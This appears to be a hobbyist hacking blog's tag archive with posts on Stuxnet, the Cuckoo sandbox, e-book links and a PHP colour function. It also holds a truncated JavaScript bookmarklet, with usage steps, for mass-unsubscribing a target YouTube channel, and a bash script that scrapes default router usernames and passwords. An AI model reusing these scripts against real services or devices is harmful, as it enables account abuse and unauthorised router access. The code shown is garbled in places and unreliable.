The Hack o blog

Reinventing the weel

Tag Archives: Languages

An Anonymous hacker decompiles Stuxnet, posts on Github.

SVG version of Bug silk.png by Avatar

Image via Wikipedia

An Anonymous hacker de-compiles StuxNet, and posts source code on Github.

Stuxnet is a Windows computer worm discovered in July 2010 that targets industrial software and equipment While it is not the first time that hackers have targeted industrial systems, it is the first discovered malware that spies on and subverts industrial systems, and the first to include a programmable logic controller (PLC) rootkit.


cuckoobox automated open source malware analysis.


Cuckoo is a very simple automated malware analysis sandbox.

It started as a project developed during Google Summer of Code 2010 within The Honeynet Project organization. During that period, under the guidance of my mentor Felix Leder, the basis were thrown to what Cuckoo has grown to be now.

The ideas behind the development of Cuckoo are:
• provide a completely Open Source product to be released under GPL, both in order to allow everyone to customize it as much as possible, as well as in order to make it grow to what could become a community-effort designed tool.
• provide an instrument able to analyze any kind of malicious file and get the best behavioral analysis out of it.
• provide a sandbox which can be configured to run both on virtual machines as well as on metal.
• make it able to be distributed.

Cuckoo still has a long road ahead before achieving all the goals that were initially set, but it is on the right path ;-).

Current Features
  • Retrieve files from remote URLs and analyze them.
  • Trace relevant API calls for behavioral analysis.
  • Recursively monitor newly spawned processes.
  • Dump generated network traffic.
  • Run concurrent analysis on multiple machines.
  • Support custom analysis package based on AutoIt3 scripting.
  • Intercept downloaded and deleted files.
  • Take screenshots during runtime.

List of hacker e-books.

A Shebang, also Hashbang or Sharp bang. This i...

Image via Wikipedia

Here is a list of e-books – direct link to IP-subnetting Tutorial…long enough to be a small e-book, rather than a tutorial.
Astalavista – You’ll find links for news, affiliates, a place to submit your programs and/or tutorials. Go way down
to see the tuts. An impressive selection of topics: access control (firewalls, social engineering), miscellaneous, crypto, software
cracking, ICQ, IRC, online security, intrusion detection, chat systems, hacking/security groups, protocols, denial of service, OS‘s, network auditing, securing papers, and the basics. – over 500 e-books, listed by category…programming languages, database, internet, application, OS’s, networks, sci&tech.
Freeskills – features e-books and tutorials, with the intention of teaching people IT skills. It also has job listings and courses. Despite the name, it’s not free. The books links eventually lead you to the order form on, and to take the courses, you must be a member, which is 99$.
Extremetech – multi purpose site with info on audio/video, security, and OS’s. There are also tech articles, news stories, and a BBS.
Code guru – This link takes you to the C++ section of the site. Also links to other departments…like java, and visual basic. Also has a forum. It’s one of those sites that shows you how to do various things…using regular expressions for search/replace, handling
structure storage, and other things like that. – Direct link to an e-book, called Review of Existing Languages.
Programmer’s Heaven – Great site, that offers info on every programming language. Also has a forum and downloads/source codes.
Planet Zikri -Nice collection, but poorly organized…alphebetical, rather than
subject…one interesting find, was a wargame manual. It has lot’s of books that I’ve never seen offered online anywhere else. – This is an archive of interesting texts texts by people that have released the copyright of their books and allowed other to freely redistribute them. – Nice selection of text files, most descriptions in Swedish but subject material can usually be figured out by file name.
Free-edFree online courses for a number of things computer related, or not.
Freebooks – A number of free books, most notably in the areas of programming, internet, and OS’s. The sight is Russian, and some of the books are in Russian, but many are in English, so it’s worth a look . – goes directly to a
page that shows you mirrors for the site and affiliates/member sites. You choose a mirror, hit the button, then it finally lists it’s topics. There are many topics, most of them not computer related, but still quite a bit of what your looking for. A lot of this seems old, though. – Documentation project for FreeBSD….including books, other websites, links, and articles. – A site designed to provide a flexible introduction and reference for users of the UNIX operating system. – Unix System Administration Independent Learning – A list of “open copywritten” books from O’Reilly’s. – Another O’Reilly site, featuring alot of networking books, from wireless networking to TCP/IP for Windows… – This page contains pointers to other web pages dealing with cryptography and security. – The Linux Documentation Project. – Techpubs Library…a small list of links to other info, man pages, and FAQ’s. – The official IBM Redbooks site. – The Tru64 UNIX Publications Web site provides online access to the Tru64 UNIX documentation, reference pages, and documentation for related products. – Programming Pearls, 2nd edition. – A list of tuts for programming in C++, as well as some other links. – A slide show from some class…featuring a little bit of basic info. – A book for C users who want to make the transition to C++. – A small list of Perl info / links, etc. – Perl Manual (Texinfo version) for perl version 4.0 patchlevel 36, Edition 0.6, dated 13 September 1993, printed on 25 March 1994.…ook/index.htmlData Structures and Algorithms in Java. – A list of Computer-Assisted Tutorials and resources for learning ADA. – Handbook af applied Cryptography. and documentation on the X Window system. – GTK+ / Gnome Application Development. – Trolltech Documentation. – A KDE tutorial. – A small list of publications on CCDS. – A journal for Unix System admins. – A list of issues from First Monday. – The IBM archives. – The Scientist and Engineer’s Guide to Digital Signal Processing. – “Hardware Book! This is Your free reference guide to electronics.” – Cisco Product Documentation, featuring hubs, adapters, routers, etc. – Novell AppNotes. –, the world’s largest online encyclopedia of graphic symbols. – The Research Edition of the Divine Comedy by Dante Alighieri. This site features three full editions of the Divine Comedy online: the original Italian text, and English translations by Henry Wadsworth Longfellow and Rev. H.F. Cary. – The Online Books page…a nice list of books online. – The IPL Books Collection (formerly known as Online Texts) contains over 20,000 titles that can be browsed by author, by title, or by Dewey Decimal Classification. – The Alex Catalogue of Electronic Texts is a collection of public domain documents from American and English literature as well as Western philosophy. – Octavo Digital Rare Books. – Project Gutenberg. – Project Runeberg. – A site featuring info from the Dead Sea Scrolls. – Asteroid and Comet Impact Hazards. – A paper on the asteroid/comet impact hazard. – Stephen Hawking’s Universe. – The Constellations.…hp?catid=s_146 – Virtual Free Books. – Blackcode. – NewOrder Box. – CyberArmy. – Infosec Writers. – Audio Gutenberg – Free audio books and poetry – Old time radio – The Mercury Theatre Plays, (‘War of the worlds’)…d=16&Itemid=41 – Jim Kelly’s Free Reads – High quality IT talk – BBC Science show ‘Quirks & Quarks’…&tid=188&tid=4 – Slashdot artical on free audio for commute or learning – Articles on Computer hardware, some reference manuals. Unfortunately not very intuitive for newbs in the hardware arena. This site hosts a HUGE collection of texts related with religion, mysticism, folk lore and so on……ence_bookshelf

YouTube subscriber glitch Fred and TunderF00T got hacked

Anonymous with Guy Fawkes masks at Scientology...

Anonymous with Guy Fawkes masks ...

Today multiple YouTube accounts got “hacked” it’s still going on the attack was perpetrated by the /B/tards of the ever more infamous 4Chan ” thanks moot”, accounts that were effected includes Fred and TunderF00t ,the problem has not yet been sorted, the  YouTube subscriber glitch allows an attacker to take out all of the subscribers of a channel, it uses a hole in the JavaScript lack of verification.

I will wright up how this script worked but for now here is the malicious code.

This is how it works, the script in the API usually requires a user to validate the action , the script overrides that and picks a random user to validate and un-subscribes them, the user isn’t in actuality un-subscribed and the counter is mealy decremented.YouTube  have had problems in the past with the counters being artificially increased, they haven’t fixed the problem and all they do is recount the subscribers.

DO not do this!!

1 Locate The target channel and subscribe

2 Open multiple page tabs

3 Paste this code into the browsers address bar

javascript:function unsubscribe() {
httpreq=new XMLHttpRequest();'post', '/ajax_subscriptions?edit_subscription=newsub&username='+username+'&subscription_level=unsubscribe', false);
httpreq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
if(!httpreq.responseXML) {
setTimeout('unsubscribe()', timeout);
if(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue!=' </address>
<h2>You have successfully unsubscribed.</h2>
') {
} else if((window.status=++count)!=times) {
setTimeout('unsubscribe()', timeout);
} else {
if((username=prompt('enter target\'s username', '\\*username here *\\'))!=null) {
if(!isNaN(timeout=parseInt(prompt('enter timeout in milliseconds', 250)))) {
if(!isNaN(times=parseInt(prompt('enter num of times to unsubscribe (0 = unlimited)', 0)))) {

A quick note the code no longer works, there will be more attacks like this in the future so make sure you subscribe for more tips and hacks from the HackOBlog team, thanks to InfouPlink for the plug

A web crawler in bash

Web-crawler !!

Web-crawler !!

A web crawler in bash.

Forum master Scubudus posted on one of my favorite forums, a simple web crawler in bash. so I thought I would let you all in.

#  [ 3/6/2009 ]       Bash Crawler       Scubidus[at]
#  Parse all Passwords and  Usernames from and put them into a file
# with the following  format.   :product:user:pass:

declare  vflag=0

function error {
echo "Failed To Parse Data, No  Content Was found."

trap "rm -f ${cfile} ${buffer} ${pbuf};  exit" 0 1
trap "echo ' Ctrl+C Detected, output deprecated.'; exit" 2 3

while  getopts ":av:" flag; do
case $flag in
a) echo '[+]  Default Router Password Parser, Coded By Scubidus[at]'  &amp;&amp; exit;;
*) vflag=1;;
#?) echo 'Usage: No  Parameters Are Needed; -a for an about, -v for verbose';;

echo  -n &gt; "${buffer}"; echo -n &gt; "${output}"

wget -q -O -  ${url} --referer="${url}" --keep-session-cookies  --save-cookies="${cfile}" &gt; "${buffer}"

spos=`cat "${buffer}" |  grep -n "table width" | awk -F: '{ print $1 }'`
epos=`cat  "${buffer}" | grep -n "/table&gt;" | awk -F: '{ print $1 }'`

cat  ${buffer} | head -$((${epos})) | tail -$((${lineCount}-1)) &gt;  ${buffer}

for each in `grep vendor "${buffer}" | cut  -f 2 -d ? | cut -f 1 -d '"' | sed s/\ /+/g`; do

if [ $vflag -eq 1 ]; then
echo ${count}  ${url_buf}

let count=$((${count}+1))
wget -q -O - ${url_buf} --referer="${url}" --load-cookies="${cfile}"  --keep-session-cookies --save-cookies="${cfile}" &gt; "${buffer}"

epos=`grep -n '&lt;div id="block-block-7"&gt;' "${buffer}" | awk -F: '{ print $1 }'`
spos=`grep  -n '&gt;1. &amp;nbsp;' "${buffer}" | awk -F: '{print $1}'`

head -$epos "${buffer}" | tail -$(($epos-$spos)) &gt; "${buffer}" ||  error
vals=`cat "${buffer}" | grep -n "&lt;/table&gt;" | awk -F:  '{print $1}'`

for i in $vals; do
if [  ${lastVal} -eq 0 ]; then
head -$i ${buffer} &gt; "${pbuf}"

echo -n ":`grep 'Product' ${pbuf} | cut -f 2 -d % | cut -f 2 -d  \&gt; | cut -f 1 -d \&lt;`" &gt;&gt; ${output}
echo -n  ":`grep 'User ID' ${pbuf} | cut -f 2 -d % | cut -f 2 -d \&gt; | cut -f 1  -d \&lt;`" &gt;&gt; ${output}
echo ":`grep 'Password'  ${pbuf} | cut -f 2 -d % | cut -f 2 -d \&gt; | cut -f 1 -d \&lt;`:"  &gt;&gt; ${output}

head -$i ${buffer} | tail -$(($i-$lastVal)) &gt; "${pbuf}"

echo -n ":`grep 'Product' ${pbuf} | cut -f 2 -d % | cut -f 2 -d  \&gt; | cut -f 1 -d \&lt;`" &gt;&gt; ${output}
echo -n  ":`grep 'User ID' ${pbuf} | cut -f 2 -d % | cut -f 2 -d \&gt; | cut -f 1  -d \&lt;`" &gt;&gt; ${output}
echo ":`grep 'Password'  ${pbuf} | cut -f 2 -d % | cut -f 2 -d \&gt; | cut -f 1 -d \&lt;`"  &gt;&gt; ${output}


PHP – Random Hex Colour

Vector logo of the PHP programming language wi...

Image via Wikipedia

Something useful I think anyone who uses PHP might like… this small function will return a random Hex value which converts to a colour (I.E. #FF0000 = Red, #00FF00 = Green, #0000FF = Blue etc). It’s small but it might come in handy one day so take a note of it!

<div style="border: 1px solid #FFF; background: #DDD; color: #000; padding-left: 15px;"><code><?php
function random_color() {
for ($i = 0; $i<6; $i++) {
$c .= dechex(rand(0,15));
return "#$c";
echo random_color();
<div style="border: 1px solid #FFF; background: #DDD; color: #000; padding-left: 15px;">